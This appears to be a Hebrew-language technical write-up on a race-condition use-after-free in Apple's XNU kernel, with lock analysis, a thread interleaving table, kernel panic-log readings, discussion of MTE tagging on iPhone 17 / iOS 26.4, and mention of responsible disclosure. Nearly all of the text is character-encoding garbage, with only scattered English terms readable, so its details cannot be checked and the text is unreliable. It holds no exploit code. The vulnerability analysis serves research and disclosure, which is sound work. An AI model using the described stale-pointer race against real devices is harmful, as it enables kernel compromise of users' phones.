 s ˷˪ˣ˥   ˸ ˧˦˧˶˵  ˪˩˟  ˸˩˶˰ˬ  ˸˯˯ˣ˟ˬπ˸ˣ˧ˠ˸  ˞˧ˢ   ˫ ˞˷  ˱˵ˣ˸   ˪ ˣ˩˧  ˡˣˬ˪˪  ˸˞   ˨ ˶˰  ˸˧ˠ˸ˢ  Σ ˞ ˣˢ  ˪ˣ˩˧   ˱ ˧˧ˤ˪  

˰˧˟˴ˬ  ˫˞ˣ˸  Φ˶˵˥ˬ  ˣˬ˩  ˸˲˵˸ˬ  ¢ƛƪ¢ŀƎ  ˫˧ˠˡˢ   ˭ ˸˧ˮ˷  ˱˧˪ˡˢ˪  ˸ˣ˧ˠ˸  a¢9  ˨˶ˡ  ˧˴ˣ˶˰πˡ˴  ˪˷   ˰ ˣ˴˧˟  

˧˟˧˦˪ˣ˵˲˯  ύǎǇŜŎǳƭŀǘƛǾŜ ŜȄŜŎǳǘƛƻƴ ǎƛŘŜ ŎƘŀƴƴŜƭǎΦό  !ǇǇƭŜ   s ˥˸˧˲   ˸ ˞   ˸ ˲˧˩˞  ˸ˣ˧ˡˣ˯   ˸ ˣ˧ˠ˸ˢ  ύ¢/9  ό ˧ ˡ˩  

˪˲˦˪  ˨˩˟ Σ ˪ ˪ˣ˩ ˧˰˴ˬ˞ ˢˮˠˢ  ˡˠˮ ˸ˣ˲˵˸ˬ ˠˣ˯ˬ {ǇŜŎǘǊŜ ±м ˟ Ϧ˸ˣ˪˰ /t¦  ˸˧˯˲˞ ˦˰ˬ˩ ΦϦ 

ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˸ˬ˶˟  ˭ ˣ˵˧˪˧˯ˢ 

˟˟˷  πs!мф  ˭ˮ˩ˣ˸  ˡˣ˯˧ˢˬ  ˨ˣ˸  ˸ˣ˟˷˥˸ˢ  ˧˯ˬˣ˰˟  ˢˡˣ˟˰  ˪˷  a¢9  Φ˪˲˞  ύ!ǇǇƭŜ  όˢ˪ˡ˧ˬ  ˸˞  ˷ˣ˵˧˟ˢ   ˵ ˧ˣˡˬˢ  

˸˵˧ˡ˟˪  ˸ˣ˧ˠ˸  ˪˷  ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  ˢ˪ˣ˩ Σˢ˟˴˧˰ˣ  ˸˞  ˭ˣ˵˧˪˧˯ˢ  ˧ˡ˩  ˵˲˯˪ ˣ˸ˣ˞  Φ˫ˣ˵ˬ˟ ˪˟˵˪ ˯ˮ˵  ˫˧˰ˣ˴˧˟  Σ

!ǇǇƭŜ ˢ˟˴˧˰ ˸˞ ˢ˶ˬˣ˥ˢ ˧ˡ˩  ˪ ˯˥˪ ˣ˸ˣ˞ Φ 

˱˵˧ˢ   s ˯˧˶˲ˢ 

 ˧ ˶˧˷˩ˬ˟  !мф  ˭ˣˮˠˮˬ  aL9  ˪˧˰˲   ˭ ˲ˣ˞˟  ˰ˣ˟˵  ˶ˣ˟˰   ˪ ˮ˶˵ˢ   ˶ ˣ˟˰ˣ  ˶˸ˣ˧   ˬπтл  ˧˩˧˪ˢ˸  ǳǎŜǊ ǎǇŀŎŜ  Φ ˧ ˥˸˲ˬ   l ˴  

˧˷˧˪˷   ˫ ˧˪ˣ˩˧  ˶˷˲˞˪  ˢ˩˧ˬ˸  ˸ˣ˰˴ˬ˞˟  ŜƴǘƛǘƭŜƳŜƴǘ   ˧ ˡˣ˰˧˧  π˟·ŎƻŘŜΦ   ˭ ˣ˩ˮ  ˡ˰ˣˬ˪   ˸ ˟˧˸˩  ˸ˣ˶ˣ˷  ˣ˪˞  ΣaL9  

˭˧ˬˤ  ˵˶  ˧˟˟˷˟  !мф  πx!мф tǊƻ  Σ˫˧˟˪ˣ˷ˬˢ  ˧˶˧˷˩ˬ˟  ƛtƘƻƴŜ мт  ΣƛtƘƻƴŜ мт tǊƻ  ΣƛtƘƻƴŜ мт tǊƻ aŀȄ   xπ

ƛtƘƻƴŜ !ƛǊ Φ˭ˣ˩ˮ  ˣ˧˷˩˰˪ Σ!ǇǇƭŜ ˫˶˦ ˢˤ˧˶˩ˢ ˪˰ ˢ˩˧ˬ˸ ˟ πaL9 ˧˟˟˷˟ ˸˶ˡ˯  a  ˧˟˷˥ˬ˪ aŀŎΦ 

˳ˣ˶˧ˬ ˟˴ˬ ˪˷ ˭˥ˣ˟ ˢ˶˵ˬ :˫˧˞˲˶ ˥ˣ˶ ˫˧˲˷ˣ˥ ˫˧ˠ˸ˢ˷˩ 

˧ˡ˩  ˷˧˥ˬˢ˪   ˰ ˣˡˬ  a¢9   s ˮ˷ˬ  ˸˞   ˧ ˪˪˩   ˵ ˥˷ˬˢ   ˶ ˣ˟˰   ˧ ˶˵ˣ˥  ˢ˥˦˟˞  Σ ˭ ˥˟ˮ  ˢ˶˵ˬ  ˧˸˧ˬ˞  ˣ˟˷  ˣˮ˪˵˸ˮ  Υ˸˯˧˶˵  

˪ˮ˶˵   ˶ ˧˷˩ˬ˟  ƛtƘƻƴŜ мт tǊƻ  ˳˧˶ˬˢ  ˸˞  ƛh{ нсΦп  Σˢˬ˶ˠˮ˷  ˢ˞˴ˣ˸˩   ˸ ˣ˰˧ˠ˲ˬ  ˠˣ˯ˬ  ǳǎŜπŀŦǘŜǊπŦǊŜŜ   s ˶˴ˣˮ˷  

 ˸ ˣ˟˵˰˟   ˟ ˴ˬ  ˳ˣ˶˧ˬ  ύǊŀŎŜ ŎƻƴŘƛǘƛƻƴ  ό ˸ ˥˞˟  ˧˸˸ˬ˸ˣ˩˶˰ˬˢ  ˸ˣ˧˞˶˥˞ˢ   ˪ ˰   ˧ ˟˧˩˶  ˸˷˶ˢ  ˪ˮ˶˵˟Φ   ˧ ˬ˰˦ˬ  

wŜǎǇƻƴǎƛōƭŜ 5ƛǎŎƭƻǎǳǊŜ  Σ˶˞˸ˮ  ˸˞  ˢˮ˟ˬ  ˸ˣ˰˧ˠ˲ˢ  ˸˞ˣ  ˭˲ˣ˞ ˢ˸˪ˣ˰˲  Σ˨˞  ˞˪  ˸˞  ˪ˣ˪˯ˬ  ˡˣ˵ˢ  ύŎƻŘŜ ǇŀǘƘ  ό

 ˵ ˧ˣˡˬˢ ˣ˟˷ ˞˧ˢ ˢ˷˥˶˸ˢΦ 
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ˢ˧ˬˣ˦ˮ˞ˢ ˪˷ ˟˴ˬ ˳ˣ˶˧ˬˢ 

˸˸˸˩˶˰ˬˢ  ˢ˟˷   s ˸˪ˠ˸ˢ  ˸ˣ˰˧ˠ˲ˢ  ˸˪ˢˮˬ  ˧˦˵˧˧˟ˣ˞  ˸ˣ˧ˮ˧ˡˬ  ˸˷˶  ύƴŜǘǿƻǊƪ ǇƻƭƛŎȅ ƻōƧŜŎǘǎ  ό˶ˣ˟˰   ˪ ˩  

˨˧˪ˢ˸  Φ x ˬ˩  ˧˸˸˸ˣ˩˶˰ˬ  ˸ˣ˟˶  ˪ˮ˶˵˟  Σ˫ˠ  ˞˧ˢ   ˸ ˷ˬ˸˷ˬ  ˧ˮ˷˟  ˧ˮˣˮˠˮˬ   s ˪˧˰ˮ   ˫ ˧ˮˣ˷  Σ˪˩˷  ˡ˥˞  ˫ˢˬ  ˭ˠˬ   ˪ ˰  

 ˫ ˧˦ˮ˞˧˶ˣˣˮ˧˞ ύƛƴǾŀǊƛŀƴǘǎ ό˫˧˶˥˞ Υ 

¶ Lock A   ς   ˭ ˣˮˠˮˬ  reader-writer lock   ˭ ˠˬˢ  ˪˰   ˶ ˠ˞ˬ  ˧˪˟ˣ˪ˠ ύ˳˰  ό˪˧˩ˬˢ  ˸˞   ˪ ˩  ˧˦˵˧˧˟ˣ˞   ˸ ˣ˧ˮ˧ˡˬ   ˸ ˷˶ˢ  

˫˧˪˧˰˲ˢ ˸˩˶˰ˬ˟ Φ 

¶ Lock B  ς ˪ˣ˰ˮˬ  ɣ ˣ˯ˬ mutex  ˨˧ˣ˷ˬˢ   ˪ ˩˪ ˦˵˧˧˟ˣ˞  ˡ˶˲ˮ˟  ˭ˠˬˣ ˪˰  ˟ ˴ˬˢ ˧ˬ˧ˮ˲ˢ ˪˷   x ˸ˣ˞ ˦˵˧˧˟ˣ˞ Φ 

˞˪  ˭˸˧ˮ  ˸˥˵˪  ˸˞  ˧ˮ˷  ˫˧˪ˣ˰ˮˬˢ  ˶ˡ˯˟  ˰ˣ˟˵  Σ˫ˣ˷ˬ  ˧˪ˣ˪˯ˬ˷  ˡˣ˵  ˫˧ˮˣ˷  ˫˧˥˵ˣ˪  ˫˸ˣ˞  ˶ˡ˯˟  ˨ˣ˲ˢ  Φ˟˴ˬ   s ˤ˩  

˪ˣ˪˰  ˪˧˟ˣˢ˪  π˪ŘŜŀŘƭƻŎƪ  Φˢ˞˴ˣ˸˩  ˨˩ˬ  Σˡˣ˵  ˵ˣ˵ˤˢ  ˧ˮ˷˪  ˫˧˪ˣ˰ˮˬˢ  ˳˪˞ˮ  ˶˶˥˷˪  ˸˞  ˭ˣ˷˞˶ˢ  ˧ˮ˲˪   ˞ ˣˢ˷  

˥˵ˣ˪  ˸˞  ˧ˮ˷ˢ  Φ ˭ ˧˟  ˧˸˷  ˸ˣ˪ˣ˰˲  ˢ˪˧˰ˮˢ   x ˪˪ˢ  ˶˴ˣˮ  ˭ˣ˪˥  ˭ˬˤ   x ˟˷   ˱ ˞  ˡ˥˞  ˫˧˪ˣ˰ˮˬˢˬ   x ˮ˧˞  ˭ˠˬ   ˪ ˰   ˦ ˵˧˧˟ˣ˞ˢ   ,  

 ˵ ˣ˧ˡ˟ˣ ˭ˣ˪˥˟ ˢˤˢ ˸˞˴ˬˮ ˸ˣ˰˧ˠ˲ˢ Φ 

ˢ˧˴˵ˮˣ˲ˢ  s ˰˧ˠ˲ˢ 

˦˟ˬ˟ ˭ˣ˷˞˶ Σˢ˧˴˵ˮˣ˲ˢ ˢ˰˧ˠ˲ˢ  ˸ ˰˴˟ˬ  ˱ ˴˶  ˸ ˣ˪ˣ˰˲ ˢ˞˶ˮ˷ ˶˧˟˯   ˭ ˧˦ˣ˪˥˪ Υ 
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 ˯ ˣ˲ˡ   s ˡˣ˟˰ˢ  ˢˤˢ   ˳ ˣ˲ˮ   l ˣ˞ˬ   l ˣ˵˟  ˪ ˮ˶˵  Υˢ˪˧˥˸  ˫˧˶˸˞ˬ  ˦ ˵˧˧˟ˣ˞   ˸ ˥˸   ˪ ˣ˰ˮˬ   ˯ ˠ  ύŎƻŀǊǎŜπƎǊŀƛƴŜŘ ƭƻŎƪ  Σό

 ˶ ˥˞˪   ˭ ˩ˬ   ˫ ˧˶˶˥˷ˬ  ˣ˸ˣ˞  Σ ˱ ˣ˯˟˪ˣ   ˫ ˧˰˴˟ˬ   ˸ ˞  ˸ˣ˪ˣ˰˲ˢ   ˸ ˣˮ˧ˡ˰ˢ   ˶ ˸ˣ˧   ˸ ˥˸  ˪ˣ˰ˮˬˢ   ˪ ˷  ˦˵˧˧˟ˣ˞ˢ   x ˬ˴˰  

όŦƛƴŜπƎǊŀƛƴŜŘ ƭƻŎƪύ Φ 

˧˶ˣ˥˞ˬ  ˯ˣ˲ˡˢ  ˢˤˢ  ˸ˡˬˣ˰  ˢ˥ˮˢ  ˸˰˪˟ˣˬ  Υ˦˵˧˧˟ˣ˞ˢ˷  ˣˮ˧˞  ˪ˣ˩˧  ˫˪˰˧ˢ˪  ˵˶˲˟  ˭ˬˤˢ  ˭˧˟˷  ˶ˣ˶˥˷   ˪ ˣ˰ˮˬˢ  

˭ˣ˷˞˶ˢ ˭˧˟˪ ˸˥˧˵˪ ˪ˣ˰ˮˬˢ ˧ˮ˷ˢΦ 

 ˞ ˪˞ ˢ˥ˮˢ˷ xʕ  ˢˮ˧˞ ˢˮˣ˩ˮ  ˫ ˞ ˨˪ˢˬ˟  ˣ˸ˣ˞  ˭ ˣ˪˥ ˭ˬˤ ˭ˣ˩˧˪ˢ˸ ύǘƘǊŜŀŘ ό˶˥˞   ˪ ˣ˩˧ ˶˶˥˷˪  ˸˞ ˦˵˧˧˟ˣ˞ˢΦ 

˟˧˸ˮ  s ˡˬ˷ˢˢ 

 ˫ ˣ˵ˬ˟  ˶˥˞  ˢ˸ˣ˞˟  ˸˸˸˩˶˰ˬ  Σ l ˣ˵   ˧ ˣ˵˧ˮˢ  ύŎƭŜŀƴǳǇ  Σό ˪ ˰˲ˣˬˢ   ˶ ˷˞˩   ˨ ˧˪ˢ˸   ˶ ˠˣ˯  ˶˞˸ˬ  ˳˟ˣ˵  ύŦƛƭŜ 

ŘŜǎŎǊƛǇǘƻǊ  όˣ˞  ˫ ˧˧˯ˬ ˸˞ ˣ˸˪ˣ˰˲ Σ ˰ ˴˟ˬ ˸˞  ˱˴˶ ˸ˣ˪ˣ˰˲ˢ  ˞˟ˢ Υ 

 

 

ˣˬ˧˷  ˟˪  ˦˶˲˪   ˧ ˦˧˶˵ˢ  ΥsπƪŦǊŜŜ  ˷˥˶˸ˬ   l ˣ˰˟  πsƳǳǘŜȄ  ˪˩˪π˥ˣ˵˪   ˭ ˧˧ˡ˰  ˵ˤ˥ˣˬ  Φ˶˟ˡˢ  ˟ˣ˷˥   ˭ ˢ  ˶ˣ˟˰   ɣ ˞˟ˢ  

˭ˢˣ  ˶ ˣ˟˰ ˭˲ˣ˞ˢ ˣ˟˷  a¢9 ˯˲ˣ˸ ˣ˸ˣ˞ Φ 
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˸ˣ˪˷˪˸˷ˢ ˟˴ˬ ˳ˣ˶˧ˬˢ ύRace Interleavingό 

˶˷˞˩ ˫˧ˮ˥ˣ˟  ˸˞ ˧ˮ˷ ˧˪ˣ˪˯ˬ  ˡˣ˵ˢ   l ˥˧ Σ ˭ ˸˧ˮ  ˸ ˣ˞˶˪  l ˴˧˩ ˟˴ˬ ˳ˣ˶˧ˬˢ  ˷ ˥˶˸ˬ Υ 

І ¢ƘǊŜŀŘ ! όƻǇŜǊŀǘƛƻƴύ ¢ƘǊŜŀŘ . όŘŜǎǘǊƻȅύ {ǘŀǘŜ 

м 
CƛƴŘ ƻōƧŜŎǘ ƛƴ ǘǊŜŜ ΣǎŀǾŜ 

ǇƻƛƴǘŜǊ ƛƴ ·нс 
 , 

! ƘƻƭŘǎ ǎǘŀƭŜ ǇƻƛƴǘŜǊ ŀŦǘŜǊ 

ǊŜƭŜŀǎƛƴƎ ǊŜƎƛǎǘǊȅ ƭƻŎƪ 

н όǳƴǇǊƻǘŜŎǘŜŘ ǿƛƴŘƻǿύ ǘǊŜŜψǊŜƳƻǾŜόƻōƧύ 
hōƧŜŎǘ ƎƻƴŜ ŦǊƻƳ ǘǊŜŜΤ !ϥǎ 

ǇƻƛƴǘŜǊ ǎǘƛƭƭ ǾŀƭƛŘπƭƻƻƪƛƴƎ 

о  , 
[h/YόŎƭƛŜƴǘπҔƳǳǘŜȄύ Ҍ 

ƪŦǊŜŜόƻōƧύ 

aŜƳƻǊȅ ŦǊŜŜŘ Φa¢9 ǘŀƎ 

ŎƘŀƴƎŜǎ лȄCс Ҧ лȄCтΦ . ǎǘƛƭƭ 

ƘƻƭŘǎ ƳǳǘŜȄΦ 

п 

[h/YόŎƭƛŜƴǘπҔƳǳǘŜȄύ Ҧ /!{! 

Ŧŀƛƭǎ Ҧ ōƭƻŎƪ ƛƴ 

ƭŎƪψƳǘȄψƭƻŎƪψŎƻƴǘŜƴŘŜŘ 

 , 
! ǎƭŜŜǇǎ ƻƴ ǘǳǊƴǎǘƛƭŜ ǿŀƛǘƛƴƎ 

ŦƻǊ . 

р  , ¦b[h/YόŎƭƛŜƴǘπҔƳǳǘŜȄύ . ǊŜƭŜŀǎŜǎ 

с 
²ŀƪŜ ΣŀŎǉǳƛǊŜ ƳǳǘŜȄ Σ[5w. 

ώ·нсҌƻŦŦǎŜǘϐ 
 , ¢!D /I9/Y C!¦[¢ 

 

˟ˣ˷˥   ˷ ˧ˠˡˢ˪  ˧˩   ˶ ˟ˣˡˬ   ˟ ˴ˬ˟  ˳ˣ˶˧ˬ   ˭ ˧˟  ˧ˮ˷  ˫˧ˮˣ˩˧˪ˢ˸  ύǘƘǊŜŀŘǎ  ό,ˡ˟˪˟  ˭˧˞  ˨˶ˣ˴  ˫˶ˣˠ˟  ˧˷˧˪˷  Φ ˸ ˣ˷ˠˮ˸ˢˢ  

ύŎƻƴǘŜƴǘƛƻƴ  ό˸ˬ˶ˣˠ˷   ˪π¢ƘǊŜŀŘ !  ˯ˮ˩˧ˢ˪  ˪ˣ˪˯ˬ˪  ˧˦˧˞ˢ   ύǎƭƻǿ ǇŀǘƘ  ό˫˯˥˧ˢ˪ˣ  ˨ˣ˸˟  

ƭŎƪψƳǘȄψƭƻŎƪψŎƻƴǘŜƴŘŜŘ ˸ˬ˶ˠˮ ˸ˣ˶˧˷˧ ˪˰   ˧ ˡ˧ ¢ƘǊŜŀŘ . Σ˞ˣˢ˷  ˫ˠ ˭ˣ˩˧˪ˢ˸ˢ  ˶ ˶˥˷ˬ˷ ˸˞ ˭ˣ˶˩˧ˤˢ Φ 
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ˡ˴˧˩ ˸˧˞˶ˮ  s ˯˧˶˵ˢ 

˸˯˧˶˵ ˪ˮ˶˵ˢ ˸˶˴ˣˮˢ ˳ˣ˶˧ˬˬ ˢˤ  ˸ ˪˰˟ ˢˬ˧˸˥  ˸˧ˡˣ˥˧˧ Φˢˮˢ ˢˠˣ˴˸  ˸ ˶ˤˮˣ˴ˬ ˪˷ ˫˧˵˪˥ˢ  ˫ ˧˧˦ˮˣˣ˪˶ˢ Υ 

 

 

 ˰ ˟˶˞ ˸ˣ˧˲˴˸ ˨ˣ˸ˬ  ˟ ˴ˬ  ˫ ˧˶ˠˣ˞ˢ ύǊŜƎƛǎǘŜǊ ǎǘŀǘŜ ό˸ˣ˶˲˯ˬ ˢ˷˰ˬ˪ ˸˞ ˪˩  ˶ ˣ˲˧˯ˢ ˧˶ˣ˥˞ˬ˷ ˠ˞˟ˢ Υ 

¶  ˰ ˧˟˴ˬˢ  ˭˷ˣ˧ˬˢ  ύstale pointer  ό˶ˠˣ˞˟˷  X26  ˞˷ˣˮ  ˸˞  ˠ˸ˢ  0xF6  ,   ɣ ˸ˢ  ˢ˴˵ˣˢ˷  ˭ˬˤ˟   s ˞˴˵ˢˢ  

˸˧˶ˣ˵ˬˢ Φ 

¶ ˢˡ˷ˢ  Ϧexpected tagged addressϦ  ˸˰ˡˣˢ˟  πspanic  ˪˧˩ˬ  ˸˞  ˠ˸ˢ  0xF7  ,  ˠ˸ˢ  ˷ˡ˥ˢ  ˟˸˩ˮ˷   ˪π

Tag RAM ˪˰ ˧ˡ˧  kfree ˶˥˞˪   ˶ ˣ˶˥˷ ˭ˣ˶˩˧ˤˢ Φ 

¶ ˨˶˰ sπLR   ύ ˦ ˬ˷ˣˢ˷  ˪˧˰˪  ˭ ˬˣ˯ˬˣ  π˩lr 0xXXXXXXXXXXXXXXXX  ό˥ˮ˰˲˸ˬ  ˸˟ˣ˸˩˩  ˢ˶ˤ˥ˢ   s ˧˴˵ˮˣ˲ˢˬ  

lck_mtx_lock_contended  Φˢ˧˴˵ˮˣ˲  ˣˤ  ˢ˰˧˲ˣˬ   ˵ ˶   ˶ ˷˞˩  ˸˷˧˩˶   sπmutex  ˸˯ˮ˩ˮ  ˪ˣ˪˯ˬ˪  ˧˦˧˞ˢ   ύslow 

path  Σό˶ˬˣ˪˩  ˶˷˞˩  ˪ˣ˰ˮˬˢ  ˶˟˩  ˢ˧ˢ  ˯ˣ˲˸  ˭ˬˤ˟  ˭ˣ˩˧˪ˢ˸ˢ˷  ˢ˯˧ˮ  ˰˴˟˪  ˸˞  ˸˪ˣ˰˲  πsCASA  Φ˧ˢˣˤ   ˸ ˣˡ˰  

ˢ˶˧˷˧  ˸ˬ˶˟  ˢ˶ˬˣ˥ˢ  ˨˩˪   ˷πThread A  ˢ˧ˢ  ˫ˣ˯˥  ˪˰   sπmutex  ˵ˣ˧ˡ˟  ˭ˬˤ˟  ˣ˟˷  Thread B   ˶ ˶˥˷   ˸ ˞  

˭ˣ˶˩˧ˤˢ Φ 

¶ ˪ˠˡˢ  TH_SFLAG_RW_PROMOTED   ˭ ˣ˩˧˪ˢ˸˟   ˯ ˶˵˷   ˰ ˧˟˴ˬ  ˪˰   ˨ ˩   ˭ ˣ˩˧˪ˢ˸ˢ˷  ˪˟˧˵  ˸˞˪˰ˢ   ˸ ˣ˲˧ˡ˰  

ύpriority promotion  ό˸ˣ˟˵˰˟  ˸ˣ˷ˠˮ˸ˢ   ˪ ˰  reader-writer lock  Φˣˢˤ   ˭ ˬ˧˯  ˵ˢ˟ˣˬ   ˨ ˩˪  π˷Thread B  

ˢ˯˧ˮ ˸˥˵˪  WRITE_LOCK   ˪ ˰ ˶ˠ˞ˬˢ ˧˪˟ˣ˪ˠˢ  Σˡˣ˰˟ ˷ πThread A ˭˧˧ˡ˰ ˵˧ˤ˥ˢ  π˟READ_LOCK Φ 

 

˶˷˞˩  ˫˧˶˟˥ˬ  ˸˞  ˸˰˟˶˞  ˫˧ˮˬ˧˯ˢ  ˣ˪˪ˢ  ˡ˥˧  Σ˭˸˧ˮ  ˶ˤ˥˷˪  ˸˞  ˶˧˴  ˭ˬˤˢ  ˪˷   ˟ ˴ˬ  ˳ˣ˶˧ˬˢ  ˨ˣ˸ˬ  ˠˣ˪  ǇŀƴƛŎ  

ˡ˧˥˧  Φ˪˩  ˡ˥˞  ˫˧ˮˬ˧˯ˢˬ  ˣ˪˪ˢ  ˭˧ˬˤ  ˨˞  ˵˶ˣ  ˫ˣ˷ˬ  π˷a¢9  ˡ˩˪  ˸˞  ˪˷˩ˢ  ˭˲ˣ˞˟  ˧ˮˣ˶˩ˮ˧˯  Σ˵ˣ˧ˡ˟   s ˞˶ˣˢ˟  

ˢ˰˴˧˟˷  ˸ ˞  s ˷˧ˠˢ  ˸ ˣ˰˴ˬ˞˟  ˰ ˧˟˴ˬˢ ˭˷ˣ˧ˬˢ Φ 
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ˡ˴˧˩ ˢ˞˶ˮ ˣ˸ˣ˞ ˠ˞˟ ˞˪˪  MTE 

 x ˸ˣ˞ ˟˴ˬ ˳ˣ˶˧ˬ  ˵ ˣ˧ˡ˟ ˪˧˟ˣˬ  ˢ˞˴ˣ˸˪ ˢˮˣ˷  ˭˧˦ˣ˪˥˪ ˶˧˷˩ˬ˟ ˣˮ˧˞˷ ˨ˬˣ˸ ˟ πa¢9 Υ 

1Φ Thread A ˶ˬˣ˷  ˰ ˧˟˴ˬ ˭˷ˣ˧ˬ  ύstale pointer ό˶˶˥˷ˬˣ  ˸˞  ˪ˣ˰ˮˬ ˶ˠ˞ˬˢ  ύregistry lock Φό 

2Φ Thread B  ˶˧˯ˬ   ˸ ˞  ˦˵˧˧˟ˣ˞ˢ  ˳˰ˢˬ  Σ˥˵ˣ˪   ˸ ˞  πsmutex  Σ˶˶˥˷ˬ  ˸˞  ˦˵˧˧˟ˣ˞ˢ  ˸ˣ˰˴ˬ˞˟  kfree  Σ s ˴˵ˬ  

πszones  ˯ ˲˞ˬ ˸˞  ˭˩ˣ˸ ˭ˣ˶˩˧ˤˢ Σ˱ˣ˯˟˪ˣ ˶˶˥˷ˬ  ˸˞ sπmutex Φ 

3Φ Thread A ˶˶ˣ˰˸ˬ Σ˥˵ˣ˪  ˸ ˞  πsmutex ˰˴˟ˬˣ  ˢ˷˧ˠ  ˸ˣ˰˴ˬ˞˟  ˰ ˧˟˴ˬˢ ˭˷ˣ˧ˬˢ Φ 

4Φ Thread A  ˞˶ˣ˵  ˸ ˞ ˨˶˰ˢ 0x00000000 ˢˡ˷ˢˬ stale_objπғflagsΦ 

5Φ  ˧ ˣ˦˧˟ˢ )if (flags & FLAG_X  ˨ ˶˰ˣˬ ˩πfalse Φ 

6Φ ˢ˧˴˵ˮˣ˲ˢ ˸ˬ˧˧˸˯ˬ  ˢ˥˪˴ˢ˟  ,  ˞ ˪˪ ˢ˯˧˶˵  Σ˞˪˪  ˠˣ˪ ˞˪˪ˣ  ˪ ˩  ˭ ˬ˧˯ ˨˩˪  ˢ˷˥˶˸ˢ˷ ˢ˪˵˸ Φ 

 ˸ ˣ˶ˬ˪  ˸˞ˤ  Σ ɣ ˞˟ˢ  ˭˩˞  ˷˥˶˸ˢ  Σ s ˰˴ˣ˟ˣ  ˢ˷˧ˠ  ˦˵˧˧˟ˣ˞˪  ˶˟˩˷  ˶˶˥ˣ˷  Φ˫˪ˣ˞  ˭ˣˣ˧˩ˬ  ˢ˴˵ˬ˷  πsȊƻƴŜǎ   ˯ ˲˧˞  

˸˞  ˭˩ˣ˸  ˭ˣ˶˩˧ˤˢ  Σ˭ˣˣ˧˩ˬˣ  ˪ˣ˪˯ˬ˷  ˡˣ˵ˢ  ˧˲˧˴˲˯ˢ  ˢˤˢ  ˪ˠˣ˯ˬ  ˡˡˣˬ˸ˢ˪  ˫˰  ˢ˞˧˶˵  ˪˷  ˨˶˰  ˯˲˞  Σ˞˪   s ˸˧˧ˢ  

ˠ˞˟˪ ˫ˣ˷ ˢ˰˲˷ˢ ˸˧˲˴ˮ Φ 

˸ˡˣ˵ˮˬ  ˦ ˟ˬˢ  ˪ ˷ ŦǳȊȊŜǊ Σ ˸ ˣ˵˧ˡ˟ ˢˡ˧˥˧ ύǳƴƛǘ ǘŜǎǘǎ  όˣ˪˧˲˞ˣ  ˧ ˠˣ˪ ƪŜǊƴŜƭ ǇŀƴƛŎ  , ˠ˞˟ˢ ˫˪ˣ˰ˬ ˞˪ ˷˥˶˸ˢ Φ 

˶ˣˤ˥˷ ˠ˞˟ˢ Υ˸˧˧˰˟ ˫˧ˠ˞˟ˢ  ˫ ˧˦˵˷ˢ 

ˣˮ˧˯˧ˮ  ˶ˤ˥˷˪  ˸˞  ˟˴ˬ  ˳ˣ˶˧ˬˢ  ˢ˟˧˟˯˟  ˸˶˵ˣ˟ˬ  Φ˨˶ˣ˴˪  ˨˩  ˣˮ˥˸˧˲  tƻ/  ˶˴ˣ˧ˢ  ˸˞  ˧˦˵˧˧˟ˣ˞   ˪ ˮ˶˵ˢ  

˫˧˧˦ˮˣˣ˪˶ˢ  ˨ˣ˸ˬ  ˢ˧˴˵˧˪˲˞  ˸˪˰ˣ˲ˢ   ˟ ǎŀƴŘōƻȄ  Σ˪˧˰˲ˬ  ˸˞  ˭ˣˮˠˮˬ  πsǉǳŀƭƛŦƛŎŀǘƛƻƴ   ˸ ˣ˰˴ˬ˞˟  ŎƻƴǘŜƴǘ 

ŦƛƭǘŜǊ Σ˶˥˞˪ˣ ˭˩ˬ  ˶ ˶˥˷ˬ ˸˞  ˫˧˦˵˧˧˟ˣ˞ˢ ˸ˣ˶˧ˢˬ˟  ,   ˵ ˣ˧ˡ˟  ˱˴˶  ˸ ˣ˪ˣ˰˲ˢ ˪˧˟ˣˢ˷ ˪ πƪŜǊƴŜƭ ǇŀƴƛŎ ˧˶ˣ˵ˬˢ Φ 

˶˧˷˩ˬ˟  ˨ˬˣ˸ˢ   ˟πa¢9  ˣˮ˞  ˫˧˲˴ˬ  ˟˪˷˟˷  ˫˧ˣ˯ˬ  ˷˥˶˸˧  ƪŜǊƴŜƭ ǇŀƴƛŎ  Φ˸ˬˣ˰˪   ˸ ˞ˤ  Σ˫˧˶˧˷˩ˬ˟   ˫ ˮ˧˞˷  

˫˧˩ˬˣ˸ ˟ πa¢9,  ˪˪˩˟ˣ ˢˤ  ˸ˣ˟˧˟˯  ˶ ˵˥ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ  ˭ ˣˠ˩ /ƻǊŜƭƭƛǳƳ  Σ ˭ ˮ˧˞˷  ˸ ˣˬˡˬ a¢9κaL9, ˟˴ˬ ˳ˣ˶˧ˬˢ  

˭˧˧ˡ˰ ˷˥˶˸ˬ Σ˨˞ ˪˷˩ˢ  ˶ ˸ˣˮ ˧˸˪˟  s ˞˶ˮ Υ 

¶ ˢ˴˵ˬ sπzones  ˯ ˲˞ˬ ˸˞ ˭ˣ˶˩˧ˤˢ  ˶˥˞˪ ˣ˶ˣ˶˥˷  Σ ˭ ˩˪ˣ ˢ˷˧ˠˢ ˸ˣ˰˴ˬ˞˟  ˰ ˧˟˴ˬˢ ˭˷ˣ˧ˬˢ  ˢ˶˧ˤ˥ˬ ˯˲˞ Φ 

¶ ˪ˣ˪˯ˬ  l ˣ˵ˢ  ˧ ˲˧˴˲˯ˢ  ˪ ˠˣ˯ˬ ˡˡˣˬ˸ˢ˪  ˫˰  ˢ˞˧˶˵ ˪˷  ˨˶˰  ˯˲˞Φ 

¶ ˞˪ ˸˷˥˶˸ˬ  ˢ˯˧˶˵  Σ˞˪  ˶ ˴ˣˮ ˠˣ˪ Σ ˞ ˪ˣ ˶˸ˣˮ ˪˩ ˭ˬ˧˯  ˨˩˪  ˠ˞˟ˢ˷ ˷˥˶˸ˢ Φ 

 

˧ˢˣˤ  s ˷˥ˬˢ  ˸ ˧˷˰ˬ  s ˶˧˷˧ˣ  ˭ˣ˧˰˶˪   ˪ ˷  Ϧ5ŀǊƪ aŀǘǘŜǊ ΦϦ ɣ ˞˟ˢ ˢˤˢ ˪˰˲ Σ˪˩˩ ˢ˞˶ˮˢ  Σ ˧ ˞  ˫ ˷ ˭˧˟  Ϧ ˧ ˡˬ ˫˰˲  Ϧ

Ϧ˪˫˧˸˧˰˪  ˸ˣ˟ˣ˶˵  Ϧ ˸ ˣ˩˶˰ˬ˟  ˶ˣ˴˧˧  ˨˷ˬ˟  ˵˶˲  ˭ˬˤ   x ˮˮ˧˞˷  ˫˧˰ˡˣ˧  ˡˣˬ˞˪  Φ˫˪ˣ˞  ˡ˰  ˸˰˲ˣˢ˪  aL9  Σ˞˪   s ˧ˢ  

